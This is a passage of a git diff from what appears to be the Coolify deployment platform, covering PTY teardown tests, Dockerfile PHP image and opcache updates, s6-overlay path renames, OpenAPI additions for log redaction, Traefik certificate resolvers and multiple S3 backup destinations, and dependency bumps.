false; + const completion = detachPtyProcess(session).then(result => { resolved = true; return result; }); + for (let i = 0; i < 3; i++) t.mock.timers.tick(500); + await Promise.resolve(); + assert.equal(process.kills, 1); + assert.equal(resolved, false); + assert.deepEqual(process.writes, ['\x10\x11', '\x10\x11', '\x10\x11']); + process.exit(); + assert.equal(await completion, true); + assert.equal(session.isActive, false); + assert.equal(session.ptyProcess, null); +}); + +test('late attach exit cannot clear a replacement session or its timer', async (t) => { + t.mock.timers.enable({ apis: ['setTimeout'] }); + const session = attachSession(); + const process = session.ptyProcess; + const completion = detachPtyProcess(session); + const replacement = attachSession().ptyProcess; + session.ptyProcess = replacement; + const timer = setTimeout(() => {}, 10000); + session.terminalSessionTimer = timer; + process.exit(); + assert.equal(await completion, true); + assert.equal(session.isActive, true); + assert.equal(session.ptyProcess, replacement); + assert.equal(session.terminalSessionTimer, timer); + t.mock.timers.tick(3000); + assert.equal(replacement.writes.length, 0); +}); + +test('attach teardown fails closed if the PTY never exits', async (t) => { + t.mock.timers.enable({ apis: ['setTimeout'] }); + const session = attachSession(); + const completion = detachPtyProcess(session); + for (let i = 0; i < 5; i++) t.mock.timers.tick(500); + assert.equal(await completion, false); + assert.equal(session.isActive, true); +}); diff --git a/docker/development/Dockerfile b/docker/development/Dockerfile index 9268309552..aa178765ad 100644 --- a/docker/development/Dockerfile +++ b/docker/development/Dockerfile @@ -1,6 +1,6 @@ # Versions # https://hub.docker.com/r/serversideup/php/tags?name=8.4-fpm-nginx-alpine -ARG SERVERSIDEUP_PHP_VERSION=8.4-fpm-nginx-alpine +ARG SERVERSIDEUP_PHP_VERSION=8.4-fpm-nginx-alpine-v5.0.0 # https://github.com/cloudflare/cloudflared/releases ARG CLOUDFLARED_VERSION=2025.7.0 # https://www.postgresql.org/support/versioning/ diff --git a/docker/production/Dockerfile b/docker/production/Dockerfile index 7743f27e71..9ddff6476d 100644 --- a/docker/production/Dockerfile +++ b/docker/production/Dockerfile @@ -1,6 +1,6 @@ # Versions # https://hub.docker.com/r/serversideup/php/tags?name=8.4-fpm-nginx-alpine -ARG SERVERSIDEUP_PHP_VERSION=8.4-fpm-nginx-alpine +ARG SERVERSIDEUP_PHP_VERSION=8.4-fpm-nginx-alpine-v5.0.0 # https://github.com/cloudflare/cloudflared/releases ARG CLOUDFLARED_VERSION=2026.7.3 # https://www.postgresql.org/support/versioning/ @@ -158,6 +158,11 @@ RUN mkdir -p /usr/local/bin && \ # Configure PHP COPY docker/production/etc/php/conf.d/zzz-custom-php.ini /usr/local/etc/php/conf.d/zzz-custom-php.ini ENV PHP_OPCACHE_ENABLE=1 +# v5 defaults this to 0. Keep 1: app:init rebuilds the Laravel caches while php-fpm already runs. +ENV PHP_OPCACHE_VALIDATE_TIMESTAMPS=1 +# v5 defaults to 256 MB with 32 MB interned strings. Every PHP CLI process has its own cache, so keep it small. +ENV PHP_OPCACHE_MEMORY_CONSUMPTION=128 +ENV PHP_OPCACHE_INTERNED_STRINGS_BUFFER=16 # Configure entrypoint COPY --chmod=755 docker/production/entrypoint.d/ /etc/entrypoint.d diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/db-migration b/docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/db-migration similarity index 100% rename from docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/db-migration rename to docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/db-migration diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/horizon b/docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/horizon similarity index 100% rename from docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/horizon rename to docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/horizon diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/init-script b/docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/init-script similarity index 100% rename from docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/init-script rename to docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/init-script diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/init-seeder b/docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/init-seeder similarity index 100% rename from docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/init-seeder rename to docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/init-seeder diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/reverb b/docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/reverb similarity index 100% rename from docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/reverb rename to docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/reverb diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/scheduler-worker b/docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/scheduler-worker similarity index 100% rename from docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/scheduler-worker rename to docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/scheduler-worker diff --git a/docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/terminal-server b/docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/terminal-server similarity index 100% rename from docker/production/etc/s6-overlay/s6-rc.d/user/contents.d/terminal-server rename to docker/production/etc/s6-overlay/user-bundles.d/user/contents.d/terminal-server diff --git a/openapi.json b/openapi.json index 192d6f49b9..6b0bd8e12a 100644 --- a/openapi.json +++ b/openapi.json @@ -86,9 +86,9 @@ "properties": { "pull_request_id": { "type": "integer", + "example": 42, "maximum": 2147483647, - "minimum": 1, - "example": 42 + "minimum": 1 }, "pull_request_html_url": { "type": [ @@ -886,6 +886,10 @@ "type": "boolean", "description": "Sort environment variables." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." + }, "is_pr_deployments_public_enabled": { "type": "boolean", "description": "Make pull request deployments public." @@ -911,6 +915,11 @@ "type": "boolean", "description": "Enable path prefix stripping." }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver for this application. Null uses the server setting, \"none\" uses no resolver." + }, "is_raw_compose_deployment_enabled": { "type": "boolean", "description": "Deploy the raw Docker Compose definition." @@ -1507,6 +1516,10 @@ "type": "boolean", "description": "Sort environment variables." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." + }, "is_pr_deployments_public_enabled": { "type": "boolean", "description": "Make pull request deployments public." @@ -1532,6 +1545,11 @@ "type": "boolean", "description": "Enable path prefix stripping." }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver for this application. Null uses the server setting, \"none\" uses no resolver." + }, "is_raw_compose_deployment_enabled": { "type": "boolean", "description": "Deploy the raw Docker Compose definition." @@ -2128,6 +2146,10 @@ "type": "boolean", "description": "Sort environment variables." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." + }, "is_pr_deployments_public_enabled": { "type": "boolean", "description": "Make pull request deployments public." @@ -2153,6 +2175,11 @@ "type": "boolean", "description": "Enable path prefix stripping." }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver for this application. Null uses the server setting, \"none\" uses no resolver." + }, "is_raw_compose_deployment_enabled": { "type": "boolean", "description": "Deploy the raw Docker Compose definition." @@ -2644,6 +2671,10 @@ "type": "boolean", "description": "Sort environment variables." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." + }, "is_pr_deployments_public_enabled": { "type": "boolean", "description": "Make pull request deployments public." @@ -2669,6 +2700,11 @@ "type": "boolean", "description": "Enable path prefix stripping." }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver for this application. Null uses the server setting, \"none\" uses no resolver." + }, "is_raw_compose_deployment_enabled": { "type": "boolean", "description": "Deploy the raw Docker Compose definition." @@ -3140,6 +3176,10 @@ "type": "boolean", "description": "Sort environment variables." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." + }, "is_pr_deployments_public_enabled": { "type": "boolean", "description": "Make pull request deployments public." @@ -3165,6 +3205,11 @@ "type": "boolean", "description": "Enable path prefix stripping." }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver for this application. Null uses the server setting, \"none\" uses no resolver." + }, "is_raw_compose_deployment_enabled": { "type": "boolean", "description": "Deploy the raw Docker Compose definition." @@ -3907,6 +3952,10 @@ "type": "boolean", "description": "Sort environment variables." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." + }, "is_pr_deployments_public_enabled": { "type": "boolean", "description": "Make pull request deployments public." @@ -3932,6 +3981,11 @@ "type": "boolean", "description": "Enable path prefix stripping." }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver for this application. Null uses the server setting, \"none\" uses no resolver." + }, "is_raw_compose_deployment_enabled": { "type": "boolean", "description": "Deploy the raw Docker Compose definition." @@ -6857,7 +6911,7 @@ ], "responses": { "200": { - "description": "Get all backups for a database", + "description": "Get all backups for a database. Each backup includes s3_storage_uuid (primary S3 destination) and s3_storage_uuids (every S3 destination, primary first).", "content": { "application\/json": { "schema": { @@ -6927,7 +6981,14 @@ }, "s3_storage_uuid": { "type": "string", - "description": "S3 storage UUID (required if save_s3 is true)" + "description": "Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination. Either field is required if save_s3 is true." + }, + "s3_storage_uuids": { + "type": "array", + "items": { + "type": "string" + }, + "description": "UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination." }, "databases_to_backup": { "type": "string", @@ -7381,6 +7442,10 @@ "description": "Healthcheck start period in seconds.", "minimum": 0, "default": 5 + }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values, database passwords, and remote secrets are redacted. Requires team admin permissions." } }, "type": "object" @@ -7530,7 +7595,14 @@ }, "s3_storage_uuid": { "type": "string", - "description": "S3 storage UUID" + "description": "Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination; when it is already a destination, it becomes the primary destination and the other destinations stay." + }, + "s3_storage_uuids": { + "type": "array", + "items": { + "type": "string" + }, + "description": "UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination." }, "backup_now": { "type": "boolean", @@ -9068,7 +9140,7 @@ "Databases" ], "summary": "List backup executions", - "description": "Get all executions for a specific backup configuration.", + "description": "Get all executions for a specific backup configuration. The execution `message` is only returned (redacted) to tokens with the `read:sensitive` or `root` ability; otherwise it is `null`.", "operationId": "list-backup-executions", "parameters": [ { @@ -9114,7 +9186,11 @@ "type": "string" }, "message": { - "type": "string" + "description": "Redacted execution output. Null unless the token has the `read:sensitive` or `root` ability.", + "type": [ + "string", + "null" + ] }, "status": { "type": "string" @@ -10878,8 +10954,8 @@ }, "network": { "type": "string", - "maxLength": 255, - "pattern": "^[a-zA-Z0-9][a-zA-Z0-9._-]*$" + "pattern": "^[a-zA-Z0-9][a-zA-Z0-9._-]*$", + "maxLength": 255 }, "type": { "type": "string", @@ -13541,58 +13617,6 @@ ] } }, - "\/enable": { - "post": { - "summary": "Enable API", - "description": "Enable API (only with root permissions).", - "operationId": "enable-api", - "responses": { - "200": { - "description": "Enable API.", - "content": { - "application\/json": { - "schema": { - "properties": { - "message": { - "type": "string", - "example": "API enabled." - } - }, - "type": "object" - } - } - } - }, - "403": { - "description": "You are not allowed to enable the API.", - "content": { - "application\/json": { - "schema": { - "properties": { - "message": { - "type": "string", - "example": "You are not allowed to enable the API." - } - }, - "type": "object" - } - } - } - }, - "401": { - "$ref": "#\/components\/responses\/401" - }, - "400": { - "$ref": "#\/components\/responses\/400" - } - }, - "security": [ - { - "bearerAuth": [] - } - ] - } - }, "\/disable": { "post": { "summary": "Disable API", @@ -15908,9 +15932,6 @@ "content": { "application\/json": { "schema": { - "required": [ - "private_key" - ], "properties": { "name": { "type": "string" @@ -17031,6 +17052,14 @@ "type": "boolean", "example": false }, + "traefik_certificate_resolver": { + "description": "Traefik certificate resolver for generated HTTPS routers. Null when the proxy uses its own certificates.", + "type": [ + "string", + "null" + ], + "example": "letsencrypt" + }, "configuration": { "description": "Docker Compose proxy configuration when stored in the database. Only present with read:sensitive.", "type": [ @@ -17065,7 +17094,7 @@ "Servers" ], "summary": "Update server proxy", - "description": "Update proxy redirect settings, exact labels generation, and optionally the proxy type for a team-owned server.", + "description": "Update proxy redirect settings, exact labels generation, the Traefik certificate resolver, and optionally the proxy type for a team-owned server.", "operationId": "update-server-proxy", "parameters": [ { @@ -17097,6 +17126,13 @@ "generate_exact_labels": { "type": "boolean" }, + "traefik_certificate_resolver": { + "description": "Traefik certificate resolver for generated HTTPS routers (letters, digits, _ and -). Null or empty to use your own certificates. Redeploy resources to apply.", + "type": [ + "string", + "null" + ] + }, "proxy_type": { "description": "Proxy type (case-insensitive).", "type": "string", @@ -17144,6 +17180,12 @@ "generate_exact_labels": { "type": "boolean" }, + "traefik_certificate_resolver": { + "type": [ + "string", + "null" + ] + }, "configuration": { "type": [ "string", @@ -18378,6 +18420,13 @@ "null" ] }, + "traefik_certificate_resolver": { + "description": "Traefik certificate resolver for this service application. Null uses the server setting, \"none\" uses no resolver.", + "type": [ + "string", + "null" + ] + }, "is_stripprefix_enabled": { "type": [ "boolean", @@ -19585,6 +19634,11 @@ "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "default": true, + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." + }, "tags": { "type": "array", "items": { @@ -19912,6 +19966,11 @@ "type": "boolean", "default": true, "description": "Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off." + }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "default": true, + "description": "Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions." } }, "type": "object" @@ -23541,8 +23600,8 @@ "properties": { "frequency": { "type": "string", - "maxLength": 255, - "example": "0 2 * * *" + "example": "0 2 * * *", + "maxLength": 255 }, "enabled": { "type": "boolean", @@ -23561,11 +23620,19 @@ "default": false }, "s3_storage_uuid": { + "description": "Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination.", "type": [ "string", "null" ] }, + "s3_storage_uuids": { + "description": "UUIDs of every S3 storage the backup is uploaded to. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination. save_s3 requires at least one destination.", + "type": "array", + "items": { + "type": "string" + } + }, "retention_amount_locally": { "type": "integer", "default": 7, @@ -23674,11 +23741,19 @@ "type": "boolean" }, "s3_storage_uuid": { + "description": "Primary S3 destination.", "type": [ "string", "null" ] }, + "s3_storage_uuids": { + "description": "Every S3 destination, primary first.", + "type": "array", + "items": { + "type": "string" + } + }, "retention_amount_locally": { "type": "integer" }, @@ -24305,6 +24380,11 @@ "is_gzip_enabled": { "type": "boolean" }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver override. Null uses the server setting, \"none\" uses no resolver." + }, "is_stripprefix_enabled": { "type": "boolean" }, @@ -24346,6 +24426,10 @@ "use_build_secrets": { "type": "boolean" }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Hide every environment variable value in logs. When false, only locked values are hidden." + }, "inject_build_args_to_dockerfile": { "type": "boolean" }, @@ -24774,6 +24858,11 @@ "off" ] }, + "traefik_certificate_resolver": { + "type": "string", + "nullable": true, + "description": "Traefik certificate resolver for generated HTTPS routers. Null when the proxy uses its own certificates." + }, "is_reachable": { "type": "boolean" }, @@ -24926,6 +25015,10 @@ "type": "boolean", "description": "The flag to enable the container label escape." }, + "redact_all_env_values_in_logs": { + "type": "boolean", + "description": "Hide every environment variable value in logs. When false, only locked values are hidden." + }, "is_container_label_readonly_enabled": { "type": "boolean", "description": "The flag to enable the container label readonly." diff --git a/openapi.yaml b/openapi.yaml index 5983cbe38d..d5ec8bbd2d 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -62,9 +62,9 @@ paths: properties: pull_request_id: type: integer + example: 42 maximum: 2147483647 minimum: 1 - example: 42 pull_request_html_url: type: [string, 'null'] example: 'https://github.com/org/repo/pull/42' @@ -572,6 +572,9 @@ paths: is_env_sorting_enabled: type: boolean description: 'Sort environment variables.' + redact_all_env_values_in_logs: + type: boolean + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' is_pr_deployments_public_enabled: type: boolean description: 'Make pull request deployments public.' @@ -592,6 +595,10 @@ paths: is_stripprefix_enabled: type: boolean description: 'Enable path prefix stripping.' + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.' is_raw_compose_deployment_enabled: type: boolean description: 'Deploy the raw Docker Compose definition.' @@ -981,6 +988,9 @@ paths: is_env_sorting_enabled: type: boolean description: 'Sort environment variables.' + redact_all_env_values_in_logs: + type: boolean + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' is_pr_deployments_public_enabled: type: boolean description: 'Make pull request deployments public.' @@ -1001,6 +1011,10 @@ paths: is_stripprefix_enabled: type: boolean description: 'Enable path prefix stripping.' + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.' is_raw_compose_deployment_enabled: type: boolean description: 'Deploy the raw Docker Compose definition.' @@ -1390,6 +1404,9 @@ paths: is_env_sorting_enabled: type: boolean description: 'Sort environment variables.' + redact_all_env_values_in_logs: + type: boolean + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' is_pr_deployments_public_enabled: type: boolean description: 'Make pull request deployments public.' @@ -1410,6 +1427,10 @@ paths: is_stripprefix_enabled: type: boolean description: 'Enable path prefix stripping.' + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.' is_raw_compose_deployment_enabled: type: boolean description: 'Deploy the raw Docker Compose definition.' @@ -1740,6 +1761,9 @@ paths: is_env_sorting_enabled: type: boolean description: 'Sort environment variables.' + redact_all_env_values_in_logs: + type: boolean + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' is_pr_deployments_public_enabled: type: boolean description: 'Make pull request deployments public.' @@ -1760,6 +1784,10 @@ paths: is_stripprefix_enabled: type: boolean description: 'Enable path prefix stripping.' + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.' is_raw_compose_deployment_enabled: type: boolean description: 'Deploy the raw Docker Compose definition.' @@ -2076,6 +2104,9 @@ paths: is_env_sorting_enabled: type: boolean description: 'Sort environment variables.' + redact_all_env_values_in_logs: + type: boolean + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' is_pr_deployments_public_enabled: type: boolean description: 'Make pull request deployments public.' @@ -2096,6 +2127,10 @@ paths: is_stripprefix_enabled: type: boolean description: 'Enable path prefix stripping.' + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.' is_raw_compose_deployment_enabled: type: boolean description: 'Deploy the raw Docker Compose definition.' @@ -2585,6 +2620,9 @@ paths: is_env_sorting_enabled: type: boolean description: 'Sort environment variables.' + redact_all_env_values_in_logs: + type: boolean + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' is_pr_deployments_public_enabled: type: boolean description: 'Make pull request deployments public.' @@ -2605,6 +2643,10 @@ paths: is_stripprefix_enabled: type: boolean description: 'Enable path prefix stripping.' + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver for this application. Null uses the server setting, "none" uses no resolver.' is_raw_compose_deployment_enabled: type: boolean description: 'Deploy the raw Docker Compose definition.' @@ -4401,7 +4443,7 @@ paths: type: string responses: '200': - description: 'Get all backups for a database' + description: 'Get all backups for a database. Each backup includes s3_storage_uuid (primary S3 destination) and s3_storage_uuids (every S3 destination, primary first).' content: application/json: schema: @@ -4452,7 +4494,11 @@ paths: default: false s3_storage_uuid: type: string - description: 'S3 storage UUID (required if save_s3 is true)' + description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination. Either field is required if save_s3 is true.' + s3_storage_uuids: + type: array + items: { type: string } + description: 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.' databases_to_backup: type: string description: 'Comma separated list of databases to backup' @@ -4777,6 +4823,9 @@ paths: description: 'Healthcheck start period in seconds.' minimum: 0 default: 5 + redact_all_env_values_in_logs: + type: boolean + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values, database passwords, and remote secrets are redacted. Requires team admin permissions.' type: object responses: '200': @@ -4875,7 +4924,11 @@ paths: description: 'Whether data is saved in s3 or not' s3_storage_uuid: type: string - description: 'S3 storage UUID' + description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination; when it is already a destination, it becomes the primary destination and the other destinations stay.' + s3_storage_uuids: + type: array + items: { type: string } + description: 'UUIDs of every S3 storage the backup is uploaded to. Replaces the current destinations. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination.' backup_now: type: boolean description: 'Whether to take a backup now or not' @@ -5960,7 +6013,7 @@ paths: tags: - Databases summary: 'List backup executions' - description: 'Get all executions for a specific backup configuration.' + description: 'Get all executions for a specific backup configuration. The execution `message` is only returned (redacted) to tokens with the `read:sensitive` or `root` ability; otherwise it is `null`.' operationId: list-backup-executions parameters: - @@ -5984,7 +6037,7 @@ paths: application/json: schema: properties: - executions: { type: array, items: { properties: { uuid: { type: string }, filename: { type: string }, size: { type: integer }, created_at: { type: string }, message: { type: string }, status: { type: string } }, type: object } } + executions: { type: array, items: { properties: { uuid: { type: string }, filename: { type: string }, size: { type: integer }, created_at: { type: string }, message: { description: 'Redacted execution output. Null unless the token has the `read:sensitive` or `root` ability.', type: [string, 'null'] }, status: { type: string } }, type: object } } type: object '404': description: 'Backup configuration not found.' @@ -7099,8 +7152,8 @@ paths: maxLength: 255 network: type: string - maxLength: 255 pattern: '^[a-zA-Z0-9][a-zA-Z0-9._-]*$' + maxLength: 255 type: type: string enum: [standalone, swarm] @@ -8681,35 +8734,6 @@ paths: security: - bearerAuth: [] - /enable: - post: - summary: 'Enable API' - description: 'Enable API (only with root permissions).' - operationId: enable-api - responses: - '200': - description: 'Enable API.' - content: - application/json: - schema: - properties: - message: { type: string, example: 'API enabled.' } - type: object - '403': - description: 'You are not allowed to enable the API.' - content: - application/json: - schema: - properties: - message: { type: string, example: 'You are not allowed to enable the API.' } - type: object - '401': - $ref: '#/components/responses/401' - '400': - $ref: '#/components/responses/400' - security: - - - bearerAuth: [] /disable: post: summary: 'Disable API' @@ -10189,8 +10213,6 @@ paths: content: application/json: schema: - required: - - private_key properties: name: type: string @@ -10823,6 +10845,7 @@ paths: redirect_enabled: { type: boolean, example: true } redirect_url: { type: [string, 'null'], example: 'https://example.com' } generate_exact_labels: { type: boolean, example: false } + traefik_certificate_resolver: { description: 'Traefik certificate resolver for generated HTTPS routers. Null when the proxy uses its own certificates.', type: [string, 'null'], example: letsencrypt } configuration: { description: 'Docker Compose proxy configuration when stored in the database. Only present with read:sensitive.', type: [string, 'null'] } type: object '401': @@ -10838,7 +10861,7 @@ paths: tags: - Servers summary: 'Update server proxy' - description: 'Update proxy redirect settings, exact labels generation, and optionally the proxy type for a team-owned server.' + description: 'Update proxy redirect settings, exact labels generation, the Traefik certificate resolver, and optionally the proxy type for a team-owned server.' operationId: update-server-proxy parameters: - @@ -10861,6 +10884,9 @@ paths: type: [string, 'null'] generate_exact_labels: type: boolean + traefik_certificate_resolver: + description: 'Traefik certificate resolver for generated HTTPS routers (letters, digits, _ and -). Null or empty to use your own certificates. Redeploy resources to apply.' + type: [string, 'null'] proxy_type: description: 'Proxy type (case-insensitive).' type: string @@ -10878,6 +10904,7 @@ paths: redirect_enabled: { type: boolean } redirect_url: { type: [string, 'null'] } generate_exact_labels: { type: boolean } + traefik_certificate_resolver: { type: [string, 'null'] } configuration: { type: [string, 'null'] } type: object '401': @@ -11608,6 +11635,9 @@ paths: type: [boolean, 'null'] is_gzip_enabled: type: [boolean, 'null'] + traefik_certificate_resolver: + description: 'Traefik certificate resolver for this service application. Null uses the server setting, "none" uses no resolver.' + type: [string, 'null'] is_stripprefix_enabled: type: [boolean, 'null'] is_force_https_enabled: @@ -12398,6 +12428,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' + redact_all_env_values_in_logs: + type: boolean + default: true + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' tags: type: array items: { type: string } @@ -12584,6 +12618,10 @@ paths: type: boolean default: true description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. If you want to use env variables inside the labels, turn this off.' + redact_all_env_values_in_logs: + type: boolean + default: true + description: 'Redact all environment variable values in logs. When false, only locked (shown once) values are redacted. Requires team admin permissions.' type: object responses: '200': @@ -14947,8 +14985,8 @@ components: properties: frequency: type: string - maxLength: 255 example: '0 2 * * *' + maxLength: 255 enabled: type: boolean default: true @@ -14962,9 +15000,15 @@ components: type: boolean default: false s3_storage_uuid: + description: 'Primary S3 storage UUID. Sent without s3_storage_uuids, it selects this storage as the only destination.' type: - string - 'null' + s3_storage_uuids: + description: 'UUIDs of every S3 storage the backup is uploaded to. When s3_storage_uuid is also sent, it must be in this list and becomes the primary destination; otherwise the first entry is the primary destination. save_s3 requires at least one destination.' + type: array + items: + type: string retention_amount_locally: type: integer default: 7 @@ -15052,9 +15096,15 @@ components: stop_during_backup: type: boolean s3_storage_uuid: + description: 'Primary S3 destination.' type: - string - 'null' + s3_storage_uuids: + description: 'Every S3 destination, primary first.' + type: array + items: + type: string retention_amount_locally: type: integer retention_days_locally: @@ -15525,6 +15575,10 @@ components: type: boolean is_gzip_enabled: type: boolean + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver override. Null uses the server setting, "none" uses no resolver.' is_stripprefix_enabled: type: boolean connect_to_docker_network: @@ -15553,6 +15607,9 @@ components: type: boolean use_build_secrets: type: boolean + redact_all_env_values_in_logs: + type: boolean + description: 'Hide every environment variable value in logs. When false, only locked values are hidden.' inject_build_args_to_dockerfile: type: boolean include_source_commit_in_build: @@ -15859,6 +15916,10 @@ components: - full - anonymized - 'off' + traefik_certificate_resolver: + type: string + nullable: true + description: 'Traefik certificate resolver for generated HTTPS routers. Null when the proxy uses its own certificates.' is_reachable: type: boolean is_sentinel_enabled: @@ -15968,6 +16029,9 @@ components: is_container_label_escape_enabled: type: boolean description: 'The flag to enable the container label escape.' + redact_all_env_values_in_logs: + type: boolean + description: 'Hide every environment variable value in logs. When false, only locked values are hidden.' is_container_label_readonly_enabled: type: boolean description: 'The flag to enable the container label readonly.' diff --git a/other/nightly/docker-compose.windows.yml b/other/nightly/docker-compose.windows.yml index e185134466..347495424f 100644 --- a/other/nightly/docker-compose.windows.yml +++ b/other/nightly/docker-compose.windows.yml @@ -25,6 +25,7 @@ services: - ./databases:/var/www/html/storage/app/databases - ./services:/var/www/html/storage/app/services - ./backups:/var/www/html/storage/app/backups + - ./images:/var/www/html/storage/app/images env_file: - .env environment: diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 3f4323c7ea..4165d6831e 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.4.2" + "version": "4.4.6" }, "nightly": { "version": "4.5-rc.1" diff --git a/package-lock.json b/package-lock.json index 3f21ba9329..fd2834a7b9 100644 --- a/package-lock.json +++ b/package-lock.json @@ -6,6 +6,7 @@ "": { "name": "coolify", "dependencies": { + "@laravel/passkeys": "^0.4.0", "@tailwindcss/forms": "0.5.11", "@tailwindcss/typography": "0.5.20", "@tanstack/virtual-core": "3.17.11", @@ -16,9 +17,11 @@ "tw-animate-css": "1.4.0" }, "devDependencies": { + "@sveltejs/vite-plugin-svelte": "7.3.1", "@tailwindcss/postcss": "4.3.3", "laravel-vite-plugin": "3.1.3", "postcss": "8.5.26", + "svelte": "5.57.2", "tailwind-scrollbar": "4.0.2", "tailwindcss": "4.3.3", "vite": "8.2.1" @@ -41,7 +44,7 @@ "version": "0.3.13", "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - "dev": true, + "devOptional": true, "license": "MIT", "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", @@ -52,7 +55,7 @@ "version": "2.3.5", "resolved": 